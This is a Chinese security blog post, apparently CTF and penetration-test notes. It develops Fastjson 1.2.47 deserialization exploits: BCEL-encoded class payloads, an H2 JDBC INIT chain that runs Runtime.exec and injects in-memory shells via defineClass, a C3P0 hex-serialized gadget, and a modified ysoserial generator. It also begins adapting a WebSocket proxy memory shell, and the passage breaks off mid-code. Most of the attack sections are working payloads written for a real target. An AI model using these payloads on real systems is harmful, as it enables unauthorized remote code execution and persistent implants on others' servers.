"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bw$TU$U$fe$a6$b9$9c$c9t$a0i$da$C$D$c8U$m$a5m$w$8a$XR$ac$d4$CRMK$r$V$y$c5$cbdr$9aN$3b$99$vs$v$f5$8a$XT$c4$fb$fd$b6$f8$R$fa$Q$40$X$$$9et$z$fd$F$be$fb$e0$93$af$y_$d0$7dr$ni$T$ccjOr$f6$fe$ce$de$df$f9$f69$7b$e6$b7$5b$3f$fe$M$60$3f$beS$Q$c3$T$K2$Y$X$c3$84$8c$e3$K$s$f1$a4$8c$T$MY$F$MS$MO$v8$89S$C$f9$b4$8cia$3c$zcF$c6$Z$86gd$ec$97$f1$ac$8c$e7d$3c$cf$a0$x$c8$c1$QC$5e$B$c7$ac$82$k$Ud$cc$89oS$M$f32$WD$CKF$91$c1V$b0$N$8e$Y$W$c5p$96$c1$95$Q$3dh$da$a6$3f$y$n$94$ec$3d$v$n$3c$ea$e4$b9$84$8e$8ci$f3$89$a0$98$e3$ee$94$9e$b3$c8$92$c88$86n$9d$d4$5dS$cc$ab$c6$b0$3fgz$U$psd$c9$b4$86$qt$bb$fcl$c0$3d$7f$d4$b1$7d$be$ec$ls$ac$3c$a7$i$9d$99y$7dI$l$b4t$bb08j$e9$9eGP$a9$uac$83$dd$e5$b3$W7$fc$c1q$ee$cf9y$C$84$9c$dc$bcH$5b$87$i$cf$cd$T$82$5c$ac$9aF$82$ecro$d1$b1$3d$e2$S2$8a$f9$95$f8$ac$ef$9av$81$f0ar$R$cd$ae$99V$ce$a8$T$f8$8b$B$c5j7m$fa$s$3b$d7$89$5bO$Fk$3a$83cu3$c1$db$Xi$9d$7f$ca5$7d$b1$b3$3aj$b2n$s$d4$9a$ac$af$h$L$e3$fabY$u$S$9a$ca$cb$e0Qq$a9$88$S$94$p$cb$G_$f4Mb$ce$e03$E$MK$M$e7$Y$96$c9$97u$C$d7$e0GM$npL$I$9b$S9T$ec$c2n$86$XT$bc$88$97T$bc$8cW$q$it$dcB$ca$T$84$K$b3$ae$5e$e4$e7$iw$nu$8e$e7RFE$ffTU$a7$d4$89$WeaxU$c5y$bcFU$xp$bf$8a$Y$f1I$96$5c$e0s$92$abcU$d1T$bc$8e7$q$c4W$X$84$f6$a5$e2M$5cP$f1$W$de$s$fe$f5h$w$de$R$x$da$cb$96Z$9dT$9aM$ea$82nY$c1$f8$ea$92Hh3$a9$90m$de$i$N$D$G$9d$9e2$o$f0Mk0k$e8$b6$z$a8_T$f1$$$$$a9x$P$ef3$7c$a0$e2C$7c$q$E$fa$98$96$9c$ZQ$f1$J$3eU$f1$Z$3e$a7B$cc$ee$x$7f$f4B$ca_$sB_$e0KR$95$u$d4$w$d8$d5$a2$80$w$be$c2$d7$w$be$c1n$V$dfb7$j$mQ$G$J$h$eet$5c$h$c2$8c$j$bf$5d$5b$J$dbVI8$e1$f8G$9d$c0$ce7$40$b6$d6$n$TN60$e6$w$R$h$Q$7d$cdY$c7$ec$r$ba$8d$c2$3d$a5$bb$b4$99$d6$v$c7$y$8b$Xtk$c40$b8$e75$40$g$q$9f$9a$a3cM$f4$d7$Y$81$ebr$db$af$cd$bb$93$bd$99$d5$u$3a$d6$3d$94$abz$88$ca$fb$c98z$f9$82k$x$e0$N$$$b1$a6$a5$83$8a$60$d1$8f$b2E$c2$aed$f3$cdl$8aH$b1$3a$v$ffanX$ba$cb$f35$e5$P$b5X$3b$d3$b4$b6$f7$ffZM$d4$q$3d$X$e8l$kH6$b7$9b$99fSo$ab$a6$q$Lm$w$db$e9j$96c$a8r$eaj$a4$3b$eb$ee$T$81$ed$9bE$5e$bd8$b5I$cf$8a$QU$b3he$7c$99$d3$9dH$s$5b$f4$b2$c6$V$93$ae$p$aa$3e$b4$oU$d5$ua$z$a5$gk$ecv$ebk$e9$9a$fa$dd$86dK$87xV$a8$81$c7$Ps$cb$yVn$d2$9e$3b$X$b1$f1$f2$8aM$d8t$80V$l$b2$db$N$b9$ab$d2$$$ca$5dp$c4$ab1$ec$bds$f4$s$ce$ac$dc$a3$z$5b$c8$d8b$VQ$8f$ccZ$81h0$R$c3r$3c$8e$ed$b8$9b$k$b7$e2C$P$s$d1h$d1$86$3d$40$5b$H$a2h$tcl$ef$VHW$d1VB$u$R$$$n$92$e9KDC$d7$c1J$90$c7$fb$r$fa$V$xA$99$Y$u$a1$3d$a1V$eck$c6$fb$H$aa$f6t$b8$ecX$db$ec$88ha$e1$e9$I$93g$3a$94$88g$cbn$zL$f3$Y$cd$3bi$ae$dc$40$3c$j$d5$a2$bf$82$r$S$e9h$f4$3a$e2$e4$e9$caN$87$T$dd$d9$e9$88$W$cd$a6$d9O$e8$99$be$8au$gE__$c2$86$x$d0$S$hK$d8T$c2$e6$b4$5c$r$7dW$J$5b$d21$B$d4b$x$fcZD0$d8z$9b$9b$W$a9$92$bb$81miES4$b9$84$ed$9aR$c2$O1$ec$fc$9e$q$K$nI$e3i$ac$a3$b1$Dat$o$8e$$lB7$J$b7$O$f7a$3d$86$a1$d1$db$cdF$9c$c2f$y$60$L$3de$b6$e2$C$bdq$5c$c4$O$5c$c6N$5c$p$e4$_$q$f2$l$U$e9$_$f4$e2$s$f6$e2$W$fa$a4$Q$fa$r$Z$v$b2$A$8b$V$e1$c9$d3G$b38$feA$3f$G$a88$9b$f07$n$G$a9$40$bb$f0$t$ee$c1$3e$e23$8c$dfq$_$fd$KS$c6$l$88$c1$3eD$u$e7$rz$e1$ba$9f$Kx$Z$W$k$c0$83$f4$ku$8d$5e$85$k$o$9bL$d9Gq$Ai$w$faM$q0$84$83P$f00$e5$d9$C$e9_$a2$c9$Y$86$Z$ka8$c40R$fb$7b$94$fc$a3$f4$afR$f4$c38$82$a3x$M$c7$88$d1$Y$d9$da$f0$f8$7f$BH$87$F$e5$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}


结束后,看了NeSE的Writeup,才发现原来不是非得$ref调getter才能解决(我当初主要精力还是在解决怎么实现低版本$ref getter -.-),用JSONObject一样能解决,JSONObect也没有低版本$ref各种限制,利用更简单方便。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(Map object, Object fieldName)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (key == "$ref" && context != null && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

typeName = lexer.stringVal();
lexer.nextToken(13);
Object refValue = null;
ParseContext rootContext;
if ("@".equals(typeName)) {
if (this.context != null) {
rootContext = this.context;
thisObj = rootContext.object;
if (!(thisObj instanceof Object[]) && !(thisObj instanceof Collection)) {
if (rootContext.parent != null) {
refValue = rootContext.parent.object;
}
} else {
refValue = thisObj;
}
}
} else if ("..".equals(typeName)) {
if (context.object != null) {
refValue = context.object;
} else {
this.addResolveTask(new ResolveTask(context, typeName));
this.setResolveStatus(1);
}
} else if ("$".equals(typeName)) {
for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
}

if (rootContext.object != null) {
refValue = rootContext.object;
} else {
this.addResolveTask(new ResolveTask(rootContext, typeName));
this.setResolveStatus(1);
}
} else {
this.addResolveTask(new ResolveTask(context, typeName));
this.setResolveStatus(1);
}

当初没注意到”..”,以为在反序列化Field是所有的$ref都是新增任务后期处理,但是如果$ref是”..”的话就不会新增任务,而是直接获取parent context实现了对属性的赋值。
也就可以实现了前面说的,在JSONObject触发getter之前就已经完成对Field赋值了,最后就很简单的构造了,NeSE🐂🍺。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{"friend":{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
}
},"x":{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {"x":{{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {
"$ref": ".." },"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},
}},
"username":"a","password":"b"}

2、FastJSON Attack H2 JDBC Driver

目标使用了一套通用的系统,在分析该系统时发现使用了fastjson1.2.47漏洞版本也找到了使用FastJSON解析的接口。但也因为目标无法出网的问题导致无法利用,观察lib列表发现了多个漏洞利用常用包。

观察这些Jar包,能想到一个很简单的思路,借助C3P0的二次反序列化,虽然Commons-Collections-3.2.2、Commons-Collections4-4.1都是无漏洞版本,但是还有Commons-Beanutils,那么最终的利用就是 Fastjson -> C3P0 -> CommonsBeanutils。

首先大概了解一下C3P0的二次反序列化,
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource

1
2
3
4
public WrapperConnectionPoolDataSource(boolean autoregister){
super(autoregister);
this.connectionTester = C3P0Registry.getDefaultConnectionTester();
this.setUpPropertyListeners(); // 设置属性监听器

在构造方法中,开启了一个属性的监听器

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

1
2
3
4
5
public synchronized void setUserOverridesAsString(String userOverridesAsString) throws PropertyVetoException { 
String oldVal = this.userOverridesAsString;
if (!this.eqOrBothNull(oldVal, userOverridesAsString)){
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
}

在setter方法中,如果修改了userOverridesAsString属性值就会触发监听器

1
2
3
4
5
6
private void setUpPropertyListeners() { 
......................
if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
}

在监听器方法中,如果修改的是userOverridesAsString属性,就会调用到C3P0ImplUtils.parseUserOverridesAsString方法

1
2
3
4
5
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException { 
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));

在该方法中,对userOverridesAsString属性值Hex解码后进行了Java原生反序列化。
那么在FastJSON反序列化时,如果classpath下存在C3P0以及一些不需要出网的Gadget(例如Commons-Collections、Commons-Beanutils)就可以实现不出网RCE。
由于Java反序列化中C3P0 Gadget是需要出网去加载class的(以前发过<<JAVA反序列化之C3P0不出网利用>>在Tomcat环境下C3P0可以实现不出网利用,目标环境不支持),所以没法在目标环境下利用,只能选择使用beanutils。

最后在利用时一直无法利用成功,发现目标的beanutils是commons-beanutils-core,对比commons-beanutils有差异,core不存在反序列化时最重要的一个类org.apache.commons.beanutils.BeanComparator,导致一直无法利用成功。

在这条链路断掉后,又只能去寻找其他的利用链。观察classpath发现还存在h2的包。在近两年Java安全中很常用的技术 JDBC Attack,它主要的触发方式就是通过getConnection连接恶意服务或者设置恶意参数实现RCE,getConnection方法也符合getter格式,众所周知FastJSON可以调用getter方法,那么可能可以通过FastJSON调用H2的getConnection实现RCE。

1
2
3
4
5
org.h2.jdbcx.JdbcDataSource#getConnection
public Connection getConnection() throws SQLException {
this.debugCodeCall(“getConnection”);
return this.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars)); //调用getJdbcConnection
}

通过反序列控制url属性后connect触发JDBC Attack

1
2
3
4
5
6
7
8
private JdbcConnection getJdbcConnection(String var1, char[] var2) throws SQLException { 
if (this.isDebugEnabled()){
this.debugCode("getJdbcConnection(" + quote(var1) + ", new char[0]);");
}
Properties var3 = new Properties();
var3.setProperty("user", var1);
var3.put("password", var2);
Connection var4 = Driver.load().connect(this.url, var3);

能够触发H2 JDBC Attack后,就需要研究如何不出网RCE了,H2常用的RCE姿势
1、RUNSCRIPT 加载远程SQL文件,(利用需出网)
jdbc:h2:mem:testdb; INIT=RUNSCRIPT FROM ‘http://VPS/poc.sql'
2、Trigger 编译执行Javascript , <>,(仅支持>=1.4.197版本)
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS ‘//javascript
java.lang.Runtime.getRuntime().exec(“open -a Calculator.app”)’

两种方式都不适合我们的环境,其中RUNSCRIPT的实现方式为 加载远程的SQL文件到本地运行实现RCE,远程的SQL文件内容为创建代码执行方法然后调用执行。
为什么需要RUNSCRIPT? 按照网上的说法是,
1、H2 RCE分为两个步骤,需要先创建代码执行方法,再通过EXEC执行该方法
2、H2 init所使用的session.prepareCommand不支持执行多条SQL语句

那么prepareCommand真的不支持执行多条SQL语句吗?

org.h2.engine.session#prepareCommand -> org.h2.engine.session#prepareLocal -> org.h2.command.Parser#prepareCommand

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Command prepareCommand(String var1) { 
try {
Prepared var2 = this.parse(var1);
boolean var3 = this.isToken(";");
if (!var3 && this.currentTokenType != 11) {
throw this.getSyntaxError();
} else {
var2.prepare();
Object var4 = new CommandContainer(this, var1, var2);
if (var3) {
String var5 = this.originalSQL.substring(this.parseIndex); //获取未执行的SQL语句
if (var5.trim().length() != 0) {
var4 = new CommandList(this, var1, (Command)var4, var5); } }
return (Command)var4;
}
}
catch (DbException var6) {
throw var6.addSQL(this.originalSQL);
}

}

在H2解析SQL语句的时候,很明显会先解析第一条SQL语句并将剩余的SQL语句保存到remaining属性中,解析结果如图所示

prepareCommand最终执行SQL时调用update方法,

1
2
3
4
public int update() { 
int var1 = this.command.executeUpdate(false).getUpdateCount(); this.executeRemaining();
return var1;
}

接着会调用executeRemaining方法,执行剩余的SQL语句,看这个逻辑肯定是支持执行多条语句的

1
2
3
4
5
6
7
8
private void executeRemaining() { 
Command var1 = this.session.prepareLocal(this.remaining);
if (var1.isQuery()) {
var1.query(0);
} else {
var1.update();
}
}

至于网上为什么说为什么不支持执行多条SQL语句,我猜会不会是忘记转义了分号?

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('open -a calculator.app');

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator.app')\;

最后FastJSON 1.2.47利用,

1
[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}]

通过defineClass执行代码中马,因为不涉及到上面的$ref引用值,利用JSONObject的toString调用getter也行

1
{"a":{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"byteCodes\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"}}:{}}
1
[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"byteCodes\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}]

后期在项目复盘时才想到,因为是低版本的FastJSON,直接使用C3P0反序列化来打FastJSON就行了。

com.alibaba.fastjson.JSON#toString

1
2
3
public String toString() {
return this.toJSONString();
}

在toJSONString,会进行JSON序列化进而调用到getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public String toJSONString() {
SerializeWriter out = new SerializeWriter();

String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}

return var2;
}

通过BadAttributeValueExpException就能调用到com.alibaba.fastjson.JSON#toString方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.lang.reflect.Field;
import java.util.ArrayList;
import alibaba.payloads.util.Reflections;
import com.alibaba.fastjson.JSONArray;
import alibaba.payloads.util.Gadgets;
import alibaba.payloads.util.PayloadRunner;

import javax.management.BadAttributeValueExpException;

@SuppressWarnings({ "rawtypes", "unchecked" })
public class FastJSON extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
ArrayList arrayList = new ArrayList();
arrayList.add(Gadgets.createTemplatesImpl(command));
JSONArray jsonArray = new JSONArray(arrayList);
valfield.set(val, jsonArray);

return val;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(FastJSON.class, args);
}
}

最后利用

1
{"a":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"b":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000027372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E0005787000000011740019616C69626162612E7061796C6F6164732E466173744A534F4E74000D466173744A534F4E2E6A6176617400096765744F626A6563747371007E000B00000022740017616C69626162612E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E0019787372001E636F6D2E616C69626162612E666173746A736F6E2E4A534F4E417272617900000000000000010200024C00046C69737471007E00074C000C72656C61746564417272617971007E000178707371007E0018000000017704000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E0020000787000000313CAFEBABE0000003100270A0003000F0700220700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100334C616C69626162612F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C00040005070013010031616C69626162612F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001D616C69626162612F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507001501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C001700180A001600190100166F70656E202D612063616C63756C61746F722E61707008001B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001D001E0A0016001F01000D537461636B4D61705461626C6501001A616C69626162612F636F6D32353638363432373636303332303901001C4C616C69626162612F636F6D3235363836343237363630333230393B010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700240A0025000F002100020025000000000002000100040005000100060000002F00010001000000052AB70026B10000000200070000000600010000003700080000000C0001000000050009002300000008001400050001000600000024000300020000000FA70003014CB8001A121CB6002057B1000000010021000000030001030002000D00000002000E000B0000000A000100020010000A00097571007E0024000001CECAFEBABE00000034001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100234C616C69626162612F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A010021616C69626162612F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001D616C69626162612F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003A000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E7270770100787870;"}}

参考

1.https://blog.csdn.net/solitudi/article/details/120275526
2.https://www.ctfiot.com/17904.html
3.https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

从wsProxy到AbstractTranslet

本文主要是围绕在Java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。

常用改造 ysoserial 任意类加载执行方式

在使用ysoserial的时候,部分gadget最终的命令执行都是通过Gadgets.createTemplatesImpl实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

在原始的Gadgets.createTemplatesImpl方法中,使用了Javassist来构建templates的_bytecodes属性,在构建时设置了父类为AbstractTranslet,设置了static方法内容为Runtime命令执行。

由于单纯的命令执行还是非常局限,通常需要转换为代码执行。大家为了更方便的实现命令执行回显或中内存马,在ysoserial中新增了codefile、classfile等逻辑。

1
2
3
4
5
6
}else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();

在classfile逻辑中,不再需要麻烦的使用javassist来构建_bytecodes属性,而是直接传入class文件路径。在编写codefile时,第一步就需要继承AbstractTranslet类,然后在构造方法或者static代码块中编写利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class CMD extends AbstractTranslet {

public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

反序列后成功执行了代码,移除继承AbstractTranslet后

1
2
3
4
5
6
import java.io.IOException;
public class CMD{
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}

也产生了异常但是没有执行代码,虽然需要继承AbstractTranslet才能利用,但在之前的各种利用中都不会带来什么影响,所以一直没去研究过为什么要继承AbstractTranslet才能利用。但在利用最近出的WebSocket内存马技术时,因为要继承AbstractTranslet带来了一些不便。

反序列化植入 WebSocket Proxy

https://github.com/veo/wsMemShell/tree/main/Tomcat_Spring_Jetty
作者提供了反序列化中wsCmd的代码,不过没有提供反序列中wsProxy的代码,自己就尝试去改了改。
作者提供了wsProxy.jsp,https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wsproxy.jsp 直接照着jsp改一份java版本。
刚开始就遇到了问题,以前中filter/listener内存马比较多,因为javax.servlet.filter、ServletRequestListener都是接口,那么可以继承AbstractTranslet同时实现这些接口,就不需要defineClass了,个人也不太喜欢defineClass(因为要改代码的时候略微麻烦),

1
public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {

中websocket内存马的时候,变成了抽象类javax.xml.ws.Endpoint,由于java不允许实现多继承,继承了AbstractTranslet后,无法再继承Endpoint。
实在没办法,只能老老实实defineClass了,先将wsProxy.jsp中的ProxyEndpoint抽出来改为java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
